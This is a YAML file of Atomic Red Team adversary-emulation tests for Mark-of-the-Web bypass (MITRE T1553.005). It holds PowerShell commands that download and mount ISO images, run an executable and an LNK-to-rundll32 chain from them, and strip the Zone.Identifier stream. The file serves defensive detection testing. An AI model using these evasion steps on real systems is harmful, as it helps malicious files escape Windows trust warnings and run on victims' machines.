atomic-red-team/atomics/T1553.005/T1553.005.yaml

attack_technique: T1553.005
display_name: 'Subvert Trust Controls: Mark-of-the-Web Bypass'
atomic_tests:
- name: Mount ISO image
  auto_generated_guid: 002cca30-4778-4891-878a-aaffcfa502fa
  description: |
    Mounts ISO image downloaded from internet to evade Mark-of-the-Web. Upon successful execution, powershell will download the .iso from the Atomic Red Team repo, and mount the image. The provided sample ISO simply has a Reports shortcut file in it. Reference: https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/
  supported_platforms:
  - windows
  input_arguments:
    path_of_iso:
      description: Path to ISO file
      type: path
      default: PathToAtomicsFolder\T1553.005\bin\T1553.005.iso
  dependency_executor_name: powershell
  dependencies:
  - description: |
      T1553.005.iso must exist on disk at specified location (#{path_of_iso})
    prereq_command: |
      if (Test-Path "#{path_of_iso}") {exit 0} else {exit 1}
    get_prereq_command: |
      New-Item -Type Directory (split-path "#{path_of_iso}") -ErrorAction ignore | Out-Null
      Invoke-WebRequest https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1553.005/bin/T1553.005.iso -OutFile "#{path_of_iso}"
  executor:
    command: |
      Mount-DiskImage -ImagePath "#{path_of_iso}"
    cleanup_command: |
      Dismount-DiskImage -ImagePath "#{path_of_iso}" | Out-Null
    name: powershell
- name: Mount an ISO image and run executable from the ISO
  auto_generated_guid: 42f22b00-0242-4afc-a61b-0da05041f9cc
  description: |-
    Mounts an ISO image downloaded from internet to evade Mark-of-the-Web and run hello.exe executable from the ISO. 
    Upon successful execution, powershell will download the .iso from the Atomic Red Team repo, mount the image, and run the executable from the ISO image that will open command prompt echoing "Hello, World!". 
    ISO provided by:https://twitter.com/mattifestation/status/1398323532988399620 Reference:https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/,  
  supported_platforms:
  - windows
  input_arguments:
    path_of_iso:
      description: Path to ISO file
      type: path
      default: PathToAtomicsFolder\T1553.005\bin\FeelTheBurn.iso
  dependency_executor_name: powershell
  dependencies:
  - description: |
      FeelTheBurn.iso must exist on disk at specified location (#{path_of_iso})
    prereq_command: |
      if (Test-Path "#{path_of_iso}") {exit 0} else {exit 1}
    get_prereq_command: |
      New-Item -Type Directory (split-path "#{path_of_iso}") -ErrorAction ignore | Out-Null
      Invoke-WebRequest https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1553.005/bin/FeelTheBurn.iso -OutFile "#{path_of_iso}"
  executor:
    command: |
      Mount-DiskImage -ImagePath "#{path_of_iso}" -StorageType ISO -Access ReadOnly
      $keep = Get-Volume -FileSystemLabel "TestIso"
      $driveLetter = ($keep | Get-Volume).DriveLetter
      invoke-item "$($driveLetter):\hello.exe"
    cleanup_command: |
      Dismount-DiskImage -ImagePath "#{path_of_iso}" | Out-Null
      Stop-process -name "hello" -Force -ErrorAction ignore
    name: powershell
    elevation_required: true
- name: Remove the Zone.Identifier alternate data stream
  auto_generated_guid: 64b12afc-18b8-4d3f-9eab-7f6cae7c73f9
  description: |
    Remove the Zone.Identifier alternate data stream which identifies the file as downloaded from the internet.
    Removing this allows more freedom in executing scripts in PowerShell and avoids opening files in protected view.
  supported_platforms:
  - windows
  input_arguments:
    file_to_download:
      description: File that will be downloaded to test against.
      type: url
      default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/README.md
    file_path:
      description: File to have the Zone.Identifier removed.
      type: string
      default: '$env:tmp\ReadMe.md'
  dependency_executor_name: powershell
  dependencies:
  - description: A test file with the Zone.Identifier attribute must be present.
    prereq_command: |
      if (Test-Path #{file_path}) { EXIT 0 } else { EXIT 1 }
    get_prereq_command: |
      Invoke-WebRequest #{file_to_download} -OutFile #{file_path}
      Set-Content -Path #{file_path} -Stream Zone.Identifier -Value '[ZoneTransfer]','ZoneId=3'
  executor:
    command: |
      Unblock-File -Path #{file_path}
    cleanup_command: |
      Set-Content -Path #{file_path} -Stream Zone.Identifier -Value '[ZoneTransfer]','ZoneId=3'
    name: powershell
- name: Execute LNK file from ISO
  auto_generated_guid: c2587b8d-743d-4985-aa50-c83394eaeb68
  description: |
    Executes LNK file document.lnk from AllTheThings.iso. Link file executes cmd.exe and rundll32 to in order to load and execute AllTheThingsx64.dll from the ISO which spawns calc.exe.
  supported_platforms:
  - windows
  input_arguments:
    path_of_iso:
      description: Path to ISO file
      type: path
      default: PathToAtomicsFolder\T1553.005\bin\AllTheThings.iso
  dependency_executor_name: powershell
  dependencies:
  - description: |
      AllTheThings.iso must exist on disk at specified location (#{path_of_iso})
    prereq_command: |
      if (Test-Path "#{path_of_iso}") {exit 0} else {exit 1}
    get_prereq_command: |
      New-Item -Type Directory (split-path "#{path_of_iso}") -ErrorAction ignore | Out-Null
      Invoke-WebRequest https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1553.005/bin/AllTheThings.iso -OutFile "#{path_of_iso}"
  executor:
    command: |
      Mount-DiskImage -ImagePath "#{path_of_iso}" -StorageType ISO -Access ReadOnly
      $keep = Get-Volume -FileSystemLabel "AllTheThings"
      $driveLetter = ($keep | Get-Volume).DriveLetter
      $instance = [activator]::CreateInstance([type]::GetTypeFromCLSID("{c08afd90-f2a1-11d1-8455-00a0c91f3880}"))
      $instance.Document.Application.ShellExecute($driveLetter+":\document.lnk","",$driveLetter+":\",$null,0)
    cleanup_command: |
      Dismount-DiskImage -ImagePath "#{path_of_iso}" | Out-Null
    name: powershell